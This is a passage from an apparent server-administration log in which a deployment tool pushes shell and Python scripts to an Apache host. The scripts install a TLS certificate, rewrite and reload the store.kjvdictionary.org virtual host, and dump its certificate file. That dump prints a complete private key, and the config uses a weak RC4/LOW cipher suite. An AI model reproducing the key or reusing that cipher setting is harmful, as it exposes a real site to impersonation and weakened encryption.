a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-12 06:00:11: 

chmod 755 /tmp/pkp805897; /tmp/pkp805897; rm /tmp/pkp805897

2026-06-12 06:00:11: 


dir=/etc/ssl/certs


2026-06-12 06:00:11: 

PUT: /tmp/pkp255707

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/kjvdictionary_store_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-12 06:00:11: 

chmod 755 /tmp/pkp255707; /tmp/pkp255707; rm /tmp/pkp255707

2026-06-12 06:00:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_store_org.conf 47

<VirtualHost *:80>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-12 06:00:11: 

PUT: /tmp/pkp738747

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=kjvdictionary_store_org.conf
TARGET=/etc/apache2/sites-enabled/kjvdictionary_store_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/kjvdictionary_store_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2//etc/apache2/sites-enabled/kjvdictionary_store_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/kjvdictionary_store_org.conf= 1'
fi


2026-06-12 06:00:11: 

chmod 755 /tmp/pkp738747; /tmp/pkp738747; rm /tmp/pkp738747

2026-06-12 06:00:11: 




2026-06-12 06:00:11: 

PUT: /tmp/pkp494643

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-12 06:00:11: 

chmod 755 /tmp/pkp494643; /tmp/pkp494643; rm /tmp/pkp494643

2026-06-12 06:00:11: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-12 06:00:12: Establishing a connection
2026-06-12 06:00:12: 

PUT: /tmp/pkp711745

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-12 06:00:12: 

chmod 755 /tmp/pkp711745; /tmp/pkp711745; rm /tmp/pkp711745

2026-06-12 06:00:12: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-12 06:00:12: 

PUT: /tmp/pkp359839

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/kjvdictionary_store_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-12 06:00:12: 

chmod 755 /tmp/pkp359839; /tmp/pkp359839; rm /tmp/pkp359839

2026-06-12 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_store_org.conf	1264

<VirtualHost *:80>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-12 06:00:12: 

PUT: /tmp/pkp615682

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-12 06:00:12: 

chmod 755 /tmp/pkp615682; /tmp/pkp615682; rm /tmp/pkp615682

2026-06-12 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt	7436
9b:96:66:e4:65:d7:47:5f:e4:ee:bf:1c:de:83:df:71

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBnP2tYmRcEJHBbyWggVv55IGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjEyMDUwMTQwWhcNMjYwOTEwMDUwMTM5WjAiMSAwHgYDVQQD
ExdzdG9yZS5ranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBANMZZnwewMlfETPDhDVEBHR6xqjlSwxuWNSaEZ5BLGqZwPDWTW4T
g9yvMNm/SZkfkrc7LaxfWdfmVWEIFgNLUa4aKOTeTNHN0DNi7T5gwKbvwZUu+f5z
/2+qchFiLrVnLlVQut1T30Xd8exkVlIMNJcvAW26r2Z331FapzTkpGdiTBv90/oT
8b6qUSvn8NXvrs3pi7Y2JUb1uN1IhE4pxhZmmVjwdmRoiRxGQN8IEeGkDxBZQjyB
5scVUoyxZv3y5sGH1kHQFAgweXoWqg0gStpEshLEwyzE5YErkD8/E35FjtorEr/u
Jp4To4aHSp+YKfsih7hQXs7NvZ1xzqBc3eUCAwEAAaOCAiMwggIfMA4GA1UdDwEB
/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBQ5Zh5qMikG3klIxFxWH8f/+4hC1DAfBgNVHSMEGDAWgBQfLzW+RhSCzUCx
rnksVXj699Ro+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95
cjEuaS5sZW5jci5vcmcvMCIGA1UdEQQbMBmCF3N0b3JlLmtqdmRpY3Rpb25hcnku
b3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6
Ly95cjEuYy5sZW5jci5vcmcvNy5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcA
dgDIo8R/x7OtuTVrAT9qehJt4zpOQ6XGRvmXrTl1mR3PmgAAAZ66ap+4AAAEAwBH
MEUCIQD9P060qmhMWxH1wmsPtehkaFbVxyrdSTwEFDRzj1bPuAIgZBEU1nlMxS4m
QPzIxheaZzgk1m2ndjOIHS4A4/0R1u0AfQBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0
YXdBIpRS7pVQXwAAAZ66aqCDAAgAAAUACXVVOwQDAEYwRAIgMpYseb2UOHccand9
ZSNdXVzomQUQqiN6A6Y/cRl/XUUCIB0p2d4zm9Wg1XMeh0qJ9TkMsjULKKIXznXQ
ObJTZ9QHMA0GCSqGSIb3DQEBCwUAA4IBAQAXBLZLKEkBwRoNJ8X1J3fu4LeI2Mnd
6VOAnnW3H2pAoUt9T+IH+tRYYwmb5YeP7cce/r9lWh6rGgkg+bwn7QSn6CXsfl5o
pSLyonniEnU+UUj/fUaoHVVqcnn4n2/6QznDkiASbNvyjspSNDlY1mJ+oc7h92mv
WjmXyTlm+MwYUE2cfsN6p+ARKEIe/oHnwOfycvKXsH9xa6fhNWU9EX9IfiAsFbky
YEvzc+aHZiUlvdNuUj1jj50n3EUY0hH4Vj7C9KS6uznDeWYiBZk5M+dPYfPLOG0O
qrSgydz3irlAcUF8EVEozk11tOUcj/0imzMRIK9Pop/4KQon11No4njF
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDTGWZ8HsDJXxEz
w4Q1RAR0esao5UsMbljUmhGeQSxqmcDw1k1uE4PcrzDZv0mZH5K3Oy2sX1nX5lVh
CBYDS1GuGijk3kzRzdAzYu0+YMCm78GVLvn+c/9vqnIRYi61Zy5VULrdU99F3fHs
ZFZSDDSXLwFtuq9md99RWqc05KRnYkwb/dP6E/G+qlEr5/DV767N6Yu2NiVG9bjd
SIROKcYWZplY8HZkaIkcRkDfCBHhpA8QWUI8gebHFVKMsWb98ubBh9ZB0BQIMHl6
FqoNIEraRLISxMMsxOWBK5A/PxN+RY7aKxK/7iaeE6OGh0qfmCn7Ioe4UF7Ozb2d
cc6gXN3lAgMBAAECggEAG2vnbAR4qY/aWwgw8n8L5G+Vwmx1SRTvyr+FaLJxnnAA
5/1b4Ip+F1rV3ys3LcIJW8OUWsRQwOK664L9N7Sp1Gex2+Jj8Ir/hR/6znQLV9lk
IvNlEQsovsIm1XWUuLFsYN5pmlo3R3WduUXiuqoQOM/9K6+o8jLBxRPKuEG3zh/y
TLlt6395IBxd6/o4TxWx5nEXAgCcN9vD2DgpDz/rUfu+ksR7QrymaQ3/P+8pvYg5
LkUryxsGU4qseFmPRGys2TDRD4DCeNP/qGOYf5G82G3Wdv5PkMShIKFmkuG/jRm5
dDgLIWd14hp6OftuZbe8+sQ6IEwSATa6+KaVnOdRXwKBgQD7HopPBTqzge3+bQ72
vnOyRgKptq+xZOeO3dlqvSQw03W9wXmthiSV5QxU2a8a+vuJaBfyy3bFOSfudVic
TegE5qPs5sgstKWCX4/yi8azW49062Z0q+Rmqa0UH3r9+xEgZ2mGa+nqEyIZRXbi
A5HFekpNO9Vfwfwjnn4zCID8RwKBgQDXM7zX473LZ0GglYkid8/VxnHq+0qqLWJE
R8ZZAlXSEW/Z6EX5M23ree6CdV6wEA/uGrHsr1TFq5Zf/u2hRnhApej9svbN0Du/
mxesOophL8Va61AtLqv8COuIDH2hKX6Znzsx9hEZKD6TxJH1WkVADpkz5mPNa1R+
ziJyEL8mcwKBgQDm2nSboFsOmuuHcgrHmt4RjXr1OhTaJ8EX/araDXcvy7X589tA
Qolvo1lqx5PKYeDLuP4LHjDZrmmfNhF338bkeoNITgDH2GovKFrUxtqsGAgRnDZc
G4mlN2b9kNMomZ5tA6RnBt3Lajt2r/1SWaWwvXOA/PhzR4nb1OB/Wdn6EQKBgQDA
eB9vntpCryj87IDn+OxDL+b22KUgqtJ2axM0zGfhJ4M4Cwt6I8stjbIJr9tt8A+v
TuTO4MkauaoWVTRGx3YJq9lD/enKjXDCn31+piTZYxZJiKf+oP1kvr2YwkMh/rCh
yM3ykzcbnujI1EgOfhvtfKD80BN2x4Wcm9Qm3F95jQKBgQDjs3OAlAJFjXVAV2nd
Zg28ZAwkzSPhKylDqIvNCLqr1YlrYCCRYCJl6d02m4qKkTWxApfk5hEkRv8lQAkd
UOE4f9rL79E3OEWG0mN33crhfFeE4oxJFWAQBkwZQu/H3UC5iYEcCJxwfP+Ejr45
P8D6fxnLJ19GnOJZvGYxpogbVA==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
